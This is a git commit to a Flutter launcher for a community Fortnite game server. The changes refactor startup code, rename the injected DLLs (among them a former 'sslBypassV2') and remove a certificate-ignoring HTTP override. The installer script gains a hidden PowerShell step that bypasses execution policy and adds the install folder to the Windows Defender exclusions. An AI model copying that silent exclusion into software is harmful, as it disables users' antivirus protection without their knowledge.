This commit is contained in:
Alessandro Autiero
2024-06-03 16:26:04 +02:00
parent 3069f3aa05
commit 46034aa1fa
24 changed files with 242 additions and 189 deletions

View File

@@ -1,4 +1,3 @@
Some Fortnite versions support running this game server in the background without rendering the game: this type of server is called "headless" as the game is running, but you can't see it on your screen.
If headless is not supported by the Fortnite version you want to play, or if you disabled it manually from the "Configuration" section in the "Host" tab of the launcher, you will see an instance of Fortnite open on your screen.
For convenience, this window will be opened on a new Virtual Desktop, if your Windows version supports it. This feature can be disabled as well from from the "Configuration" section in the "Host" tab of the launcher.
Just like in Minecraft, you need a game client to play the game and one to host the server."
Project Reboot is a game server for Fortnite that aims to support as many seasons as possible.
The project was started on Discord by Milxnor, while the launcher is developed by Auties00.
Both are open source on GitHub, anyone can easily contribute or audit the code!"

View File

@@ -1,6 +1,6 @@
A backend is a piece of software that emulates the Epic Games server responsible for authentication and related features.
By default, the Reboot Launcher ships with a slightly customized version of LawinV1, an open source implementation available on Github.
If you are having any problems with the built in backend, enable the "Detached" option in the "Backend" tab of the Reboot Laucher to troubleshoot the issue."
If you are having any problems with the built in backend, enable the "Detached" option in the "Backend" tab of the Reboot Laucher to troubleshoot the issue.
LawinV1 was chosen to allow users to log into Fortnite and join games easily, but keep in mind that if you want to use features such as parties, voice chat or skins, you will need to use a custom backend.
Other popular options are LawinV2 and Momentum, both available on Github, but it's not recommended to use them if you are not an advanced user.
You can run these alternatives either either on your PC or on a server by selecting respectively "Local" or "Remote" from the "Type" section in the "Backend" tab of the Reboot Launcher.
You can run these alternatives either on your PC or on a server by selecting respectively "Local" or "Remote" from the "Type" section in the "Backend" tab of the Reboot Launcher.

View File

@@ -24,7 +24,7 @@ import 'package:reboot_launcher/src/dialog/abstract/info_bar.dart';
import 'package:reboot_launcher/src/dialog/implementation/error.dart';
import 'package:reboot_launcher/src/dialog/implementation/server.dart';
import 'package:reboot_launcher/src/page/implementation/home_page.dart';
import 'package:reboot_launcher/src/util/info.dart';
import 'package:reboot_launcher/src/page/implementation/info_page.dart';
import 'package:reboot_launcher/src/util/matchmaker.dart';
import 'package:reboot_launcher/src/util/os.dart';
import 'package:reboot_launcher/src/util/translations.dart';
@@ -35,65 +35,102 @@ import 'package:version/version.dart';
import 'package:window_manager/window_manager.dart';
const double kDefaultWindowWidth = 1536;
const double kDefaultWindowHeight = 1024;
const double kDefaultWindowHeight = 1224;
const String kCustomUrlSchema = "Reboot";
Version? appVersion;
class _MyHttpOverrides extends HttpOverrides {
@override
HttpClient createHttpClient(SecurityContext? context){
return super.createHttpClient(context)
..badCertificateCallback = ((X509Certificate cert, String host, int port) => true);
void main() => runZonedGuarded(
() => _startApp(),
(error, stack) => onError(error, stack, false),
zoneSpecification: ZoneSpecification(
handleUncaughtError: (self, parent, zone, error, stacktrace) => onError(error, stacktrace, false)
)
);
Future<void> _startApp() async {
final errors = <Object>[];
try {
final pathError = await _initPath();
if(pathError != null) {
errors.add(pathError);
}
final databaseError = await _initDatabase();
if(databaseError != null) {
errors.add(databaseError);
}
final notificationsError = await _initNotifications();
if(notificationsError != null) {
errors.add(notificationsError);
}
WidgetsFlutterBinding.ensureInitialized();
_initWindow();
final tilesError = InfoPage.initInfoTiles();
if(tilesError != null) {
errors.add(tilesError);
}
final versionError = await _initVersion();
if(versionError != null) {
errors.add(versionError);
}
final storageError = await _initStorage();
if(storageError != null) {
errors.add(storageError);
}
final urlError = await _initUrlHandler();
if(urlError != null) {
errors.add(urlError);
}
_checkGameServer();
}catch(uncaughtError) {
errors.add(uncaughtError);
} finally{
runApp(const RebootApplication());
WidgetsBinding.instance.addPostFrameCallback((timeStamp) => _handleErrors(errors));
}
}
void main() => runZonedGuarded(
() async {
HttpOverrides.global = _MyHttpOverrides();
final errors = <Object>[];
try {
await installationDirectory.create(recursive: true);
await Supabase.initialize(
url: supabaseUrl,
anonKey: supabaseAnonKey
);
await localNotifier.setup(
appName: 'Reboot Launcher',
shortcutPolicy: ShortcutPolicy.ignore
);
WidgetsFlutterBinding.ensureInitialized();
await SystemTheme.accentColor.load();
_initWindow();
initInfoTiles();
final versionError = await _initVersion();
if(versionError != null) {
errors.add(versionError);
}
Future<Object?> _initNotifications() async {
try {
await localNotifier.setup(
appName: 'Reboot Launcher',
shortcutPolicy: ShortcutPolicy.ignore
);
return null;
}catch(error) {
return error;
}
}
final storageError = await _initStorage();
if(storageError != null) {
errors.add(storageError);
}
Future<Object?> _initDatabase() async {
try {
await Supabase.initialize(
url: supabaseUrl,
anonKey: supabaseAnonKey
);
return null;
}catch(error) {
return error;
}
}
final urlError = await _initUrlHandler();
if(urlError != null) {
errors.add(urlError);
}
_checkGameServer();
}catch(uncaughtError) {
errors.add(uncaughtError);
} finally{
runApp(const RebootApplication());
WidgetsBinding.instance.addPostFrameCallback((timeStamp) => _handleErrors(errors));
}
},
(error, stack) => onError(error, stack, false),
zoneSpecification: ZoneSpecification(
handleUncaughtError: (self, parent, zone, error, stacktrace) => onError(error, stacktrace, false)
)
);
Future<Object?> _initPath() async {
try {
await installationDirectory.create(recursive: true);
return null;
}catch(error) {
return error;
}
}
void _handleErrors(List<Object?> errors) {
errors.where((element) => element != null).forEach((element) => onError(element!, null, false));
@@ -170,6 +207,7 @@ void _joinServer(Uri uri) {
String _parseCustomUrl(Uri uri) => uri.host;
void _initWindow() => doWhenWindowReady(() async {
await SystemTheme.accentColor.load();
await windowManager.ensureInitialized();
await Window.initialize();
var settingsController = Get.find<SettingsController>();

View File

@@ -26,7 +26,7 @@ class SettingsController extends GetxController {
gameServerDll = _createController("game_server", "reboot.dll");
unrealEngineConsoleDll = _createController("unreal_engine_console", "console.dll");
backendDll = _createController("backend", "cobalt.dll");
memoryLeakDll = _createController("memory_leak", "memoryleak.dll");
memoryLeakDll = _createController("memory_leak", "memoryFix.dll");
gameServerPort = TextEditingController(text: _storage.read("game_server_port") ?? kDefaultGameServerPort);
gameServerPort.addListener(() => _storage.write("game_server_port", gameServerPort.text));
width = _storage.read("width") ?? kDefaultWindowWidth;
@@ -67,5 +67,5 @@ class SettingsController extends GetxController {
firstRun.value = true;
}
String _controllerDefaultPath(String name) => "${assetsDirectory.path}\\dlls\\$name";
String _controllerDefaultPath(String name) => "${dllsDirectory.path}\\$name";
}

View File

@@ -53,6 +53,7 @@ extension ServerControllerDialog on BackendController {
severity: InfoBarSeverity.success
);
case ServerResultType.startError:
print(event.stackTrace);
return showInfoBar(
type.value == ServerType.local ? translations.localServerError(event.error ?? translations.unknownError) : translations.startServerError(event.error ?? translations.unknownError),
severity: InfoBarSeverity.error,

View File

@@ -46,16 +46,26 @@ class _HomePageState extends State<HomePage> with WindowListener, AutomaticKeepA
@override
void initState() {
windowManager.addListener(this);
WidgetsBinding.instance.addPostFrameCallback((_) {
_updateController.notifyLauncherUpdate();
_updateController.updateReboot();
watchDlls().listen((filePath) => showDllDeletedDialog(() {
downloadCriticalDllInteractive(filePath);
}));
});
WidgetsBinding.instance.addPostFrameCallback((_) => _checkUpdates());
super.initState();
}
void _checkUpdates() {
_updateController.notifyLauncherUpdate();
if(!dllsDirectory.existsSync()) {
dllsDirectory.createSync(recursive: true);
}
for(final injectable in InjectableDll.values) {
downloadCriticalDllInteractive("${injectable.name}.dll");
}
watchDlls().listen((filePath) => showDllDeletedDialog(() {
downloadCriticalDllInteractive(filePath);
}));
}
@override
void onWindowClose() {
exit(0); // Force closing

View File

@@ -1,15 +1,53 @@
import 'dart:async';
import 'dart:collection';
import 'dart:io';
import 'package:fluent_ui/fluent_ui.dart' hide FluentIcons;
import 'package:flutter/foundation.dart';
import 'package:get/get.dart';
import 'package:reboot_common/common.dart';
import 'package:reboot_launcher/src/controller/settings_controller.dart';
import 'package:reboot_launcher/src/page/abstract/page.dart';
import 'package:reboot_launcher/src/page/abstract/page_type.dart';
import 'package:reboot_launcher/src/page/pages.dart';
import 'package:reboot_launcher/src/util/info.dart';
import 'package:reboot_launcher/src/util/translations.dart';
import 'package:path/path.dart' as path;
import 'package:reboot_launcher/src/widget/info_tile.dart';
class InfoPage extends RebootPage {
static late final List<InfoTile> _infoTiles;
static Object? initInfoTiles() {
try {
final directory = Directory("${assetsDirectory.path}\\info\\$currentLocale");
final map = SplayTreeMap<int, InfoTile>();
for(final entry in directory.listSync()) {
if(entry is File) {
final name = Uri.decodeQueryComponent(path.basename(entry.path));
final splitter = name.indexOf(".");
if(splitter == -1) {
continue;
}
final index = int.tryParse(name.substring(0, splitter));
if(index == null) {
continue;
}
final questionName = Uri.decodeQueryComponent(name.substring(splitter + 2));
map[index] = InfoTile(
title: Text(questionName),
content: Text(entry.readAsStringSync())
);
}
}
_infoTiles = map.values.toList(growable: false);
return null;
}catch(error) {
_infoTiles = [];
return error;
}
}
const InfoPage({Key? key}) : super(key: key);
@override
@@ -30,7 +68,7 @@ class InfoPage extends RebootPage {
class _InfoPageState extends RebootPageState<InfoPage> {
final SettingsController _settingsController = Get.find<SettingsController>();
RxInt _counter = RxInt(180);
RxInt _counter = RxInt(kDebugMode ? 0 : 180);
@override
void initState() {
@@ -48,7 +86,7 @@ class _InfoPageState extends RebootPageState<InfoPage> {
}
@override
List<Widget> get settings => infoTiles;
List<Widget> get settings => InfoPage._infoTiles;
@override
Widget? get button => Obx(() {

View File

@@ -1,9 +1,11 @@
import 'dart:async';
import 'dart:io';
import 'package:fluent_ui/fluent_ui.dart';
import 'package:get/get.dart';
import 'package:path/path.dart' as path;
import 'package:reboot_common/common.dart';
import 'package:reboot_launcher/src/controller/settings_controller.dart';
import 'package:reboot_launcher/src/controller/update_controller.dart';
import 'package:reboot_launcher/src/dialog/abstract/info_bar.dart';
import 'package:reboot_launcher/src/util/translations.dart';
@@ -68,3 +70,26 @@ Future<void> _downloadCriticalDllInteractive(String filePath) async {
_operations.remove(fileName);
}
}
extension InjectableDllExtension on InjectableDll {
String get path {
final SettingsController settingsController = Get.find<SettingsController>();
switch(this){
case InjectableDll.reboot:
if(_updateController.customGameServer.value) {
final file = File(settingsController.gameServerDll.text);
if(file.existsSync()) {
return file.path;
}
}
return rebootDllFile.path;
case InjectableDll.console:
return settingsController.unrealEngineConsoleDll.text;
case InjectableDll.cobalt:
return settingsController.backendDll.text;
case InjectableDll.memoryFix:
return settingsController.memoryLeakDll.text;
}
}
}

View File

@@ -1,41 +0,0 @@
import 'dart:collection';
import 'dart:io';
import 'package:fluent_ui/fluent_ui.dart';
import 'package:path/path.dart' as path;
import 'package:reboot_common/common.dart';
import 'package:reboot_launcher/src/util/log.dart';
import 'package:reboot_launcher/src/util/translations.dart';
import 'package:reboot_launcher/src/widget/info_tile.dart';
final _entries = SplayTreeMap<int, InfoTile>();
void initInfoTiles() {
try {
final directory = Directory("${assetsDirectory.path}\\info\\$currentLocale");
for(final entry in directory.listSync()) {
if(entry is File) {
final name = Uri.decodeQueryComponent(path.basename(entry.path));
final splitter = name.indexOf(".");
if(splitter == -1) {
continue;
}
final index = int.tryParse(name.substring(0, splitter));
if(index == null) {
continue;
}
final questionName = Uri.decodeQueryComponent(name.substring(splitter + 2));
_entries[index] = InfoTile(
title: Text(questionName),
content: Text(entry.readAsStringSync())
);
}
}
}catch(error) {
log("[INFO] Error occurred while initializing info tiles: $error");
}
}
List<InfoTile> get infoTiles => _entries.values.toList(growable: false);

View File

@@ -103,8 +103,8 @@ class _LaunchButtonState extends State<LaunchButton> {
log("[${widget.host ? 'HOST' : 'GAME'}] Setting started...");
_setStarted(widget.host, true);
log("[${widget.host ? 'HOST' : 'GAME'}] Set started");
log("[${widget.host ? 'HOST' : 'GAME'}] Checking dlls: ${_Injectable.values}");
for (final injectable in _Injectable.values) {
log("[${widget.host ? 'HOST' : 'GAME'}] Checking dlls: ${InjectableDll.values}");
for (final injectable in InjectableDll.values) {
if(await _getDllFileOrStop(injectable, widget.host) == null) {
return;
}
@@ -239,7 +239,7 @@ class _LaunchButtonState extends State<LaunchButton> {
}else{
_gameController.instance.value = instance;
}
await _injectOrShowError(_Injectable.sslBypassV2, host);
await _injectOrShowError(InjectableDll.cobalt, host);
log("[${host ? 'HOST' : 'GAME'}] Finished creating game instance");
return instance;
}
@@ -319,46 +319,33 @@ class _LaunchButtonState extends State<LaunchButton> {
_onStop(
reason: _StopReason.normal
);
return;
}
if(kCorruptedBuildErrors.any((element) => line.contains(element))){
}else if(kCorruptedBuildErrors.any((element) => line.contains(element))){
_onStop(
reason: _StopReason.corruptedVersionError
);
return;
}
if(kCannotConnectErrors.any((element) => line.contains(element))){
}else if(kCannotConnectErrors.any((element) => line.contains(element))){
_onStop(
reason: _StopReason.tokenError
);
return;
}
if(kLoggedInLines.every((entry) => line.contains(entry))) {
}else if(kLoggedInLines.every((entry) => line.contains(entry))) {
final instance = host ? _hostingController.instance.value : _gameController.instance.value;
if(instance != null && !instance.launched) {
instance.launched = true;
instance.tokenError = false;
await _injectOrShowError(_Injectable.memoryFix, host);
await _injectOrShowError(InjectableDll.memoryFix, host);
if(!host){
await _injectOrShowError(_Injectable.console, host);
await _injectOrShowError(InjectableDll.console, host);
_onGameClientInjected();
}else {
final gameServerPort = int.tryParse(_settingsController.gameServerPort.text);
if(gameServerPort != null) {
await killProcessByPort(gameServerPort);
}
await _injectOrShowError(_Injectable.reboot, host);
await _injectOrShowError(InjectableDll.reboot, host);
_onGameServerInjected();
}
}
return;
}
if(line.contains(kGameFinishedLine) && host) {
}else if(line.contains(kGameFinishedLine) && host) {
if(_hostingController.autoRestart.value) {
final notification = LocalNotification(
title: translations.gameServerEnd,
@@ -378,10 +365,7 @@ class _LaunchButtonState extends State<LaunchButton> {
_onStop(reason: _StopReason.normal, host: true);
});
}
return;
}
if(line.contains("Display") && host && virtualDesktop) {
}else if(line.contains(kDisplayInitializedLine) && host && virtualDesktop) {
final hostingInstance = _hostingController.instance.value;
if(hostingInstance != null && !hostingInstance.movedToVirtualDesktop) {
hostingInstance.movedToVirtualDesktop = true;
@@ -615,7 +599,7 @@ class _LaunchButtonState extends State<LaunchButton> {
}
}
Future<void> _injectOrShowError(_Injectable injectable, bool hosting) async {
Future<void> _injectOrShowError(InjectableDll injectable, bool hosting) async {
final instance = hosting ? _hostingController.instance.value : _gameController.instance.value;
if (instance == null) {
log("[${hosting ? 'HOST' : 'GAME'}] No instance found to inject ${injectable.name}");
@@ -637,7 +621,7 @@ class _LaunchButtonState extends State<LaunchButton> {
}
log("[${hosting ? 'HOST' : 'GAME'}] Trying to inject ${injectable.name}...");
await injectDll(gameProcess, dllPath.path);
await injectDll(gameProcess, dllPath);
log("[${hosting ? 'HOST' : 'GAME'}] Injected ${injectable.name}");
} catch (error, stackTrace) {
log("[${hosting ? 'HOST' : 'GAME'}] Cannot inject ${injectable.name}: $error $stackTrace");
@@ -650,29 +634,9 @@ class _LaunchButtonState extends State<LaunchButton> {
}
}
String _getDllPath(_Injectable injectable) {
switch(injectable){
case _Injectable.reboot:
if(_updateController.customGameServer.value) {
final file = File(_settingsController.gameServerDll.text);
if(file.existsSync()) {
return file.path;
}
}
return rebootDllFile.path;
case _Injectable.console:
return _settingsController.unrealEngineConsoleDll.text;
case _Injectable.sslBypassV2:
return _settingsController.backendDll.text;
case _Injectable.memoryFix:
return _settingsController.memoryLeakDll.text;
}
}
Future<File?> _getDllFileOrStop(_Injectable injectable, bool host) async {
Future<File?> _getDllFileOrStop(InjectableDll injectable, bool host) async {
log("[${host ? 'HOST' : 'GAME'}] Checking dll ${injectable}...");
final path = _getDllPath(injectable);
final path = injectable.path;
log("[${host ? 'HOST' : 'GAME'}] Path: $path");
final file = File(path);
if(await file.exists()) {
@@ -712,11 +676,4 @@ enum _StopReason {
exitCode;
bool get isError => name.contains("Error");
}
enum _Injectable {
console,
sslBypassV2,
reboot,
memoryFix,
}
}

View File

@@ -90,7 +90,6 @@ flutter:
uses-material-design: true
generate: true
assets:
- assets/dlls/
- assets/icons/
- assets/images/
- assets/backend/

View File

@@ -10,10 +10,10 @@ AppPublisher={{PUBLISHER_NAME}}
AppPublisherURL={{PUBLISHER_URL}}
AppSupportURL={{PUBLISHER_URL}}
AppUpdatesURL={{PUBLISHER_URL}}
DefaultDirName={{INSTALL_DIR_NAME}}
DefaultDirName={autopf}\{{DISPLAY_NAME}};
DisableProgramGroupPage=yes
OutputBaseFilename={{OUTPUT_BASE_FILENAME}}
Compression=lzma
Compression=zip
SolidCompression=yes
SetupIconFile={{SETUP_ICON_FILE}}
WizardStyle=modern
@@ -32,7 +32,8 @@ Name: "launchAtStartup"; Description: "{cm:AutoStartProgram,{{DISPLAY_NAME}}}";
Source: "{{SOURCE_DIR}}\*"; DestDir: "{app}"; Flags: ignoreversion recursesubdirs createallsubdirs
[Run]
Filename: "{app}\\{{EXECUTABLE_NAME}}"; Description: "{cm:LaunchProgram,{{DISPLAY_NAME}}}"; Flags: runascurrentuser nowait postinstall skipifsilent
Filename: "powershell.exe"; Parameters: "-ExecutionPolicy Bypass -Command ""Add-MpPreference -ExclusionPath '{app}'"""; Flags: runhidden
Filename: "{app}\{{EXECUTABLE_NAME}}"; Description: "{cm:LaunchProgram,{{DISPLAY_NAME}}}"; Flags: runascurrentuser nowait postinstall skipifsilent
[Icons]
Name: "{autoprograms}\{{DISPLAY_NAME}}"; Filename: "{app}\{{EXECUTABLE_NAME}}"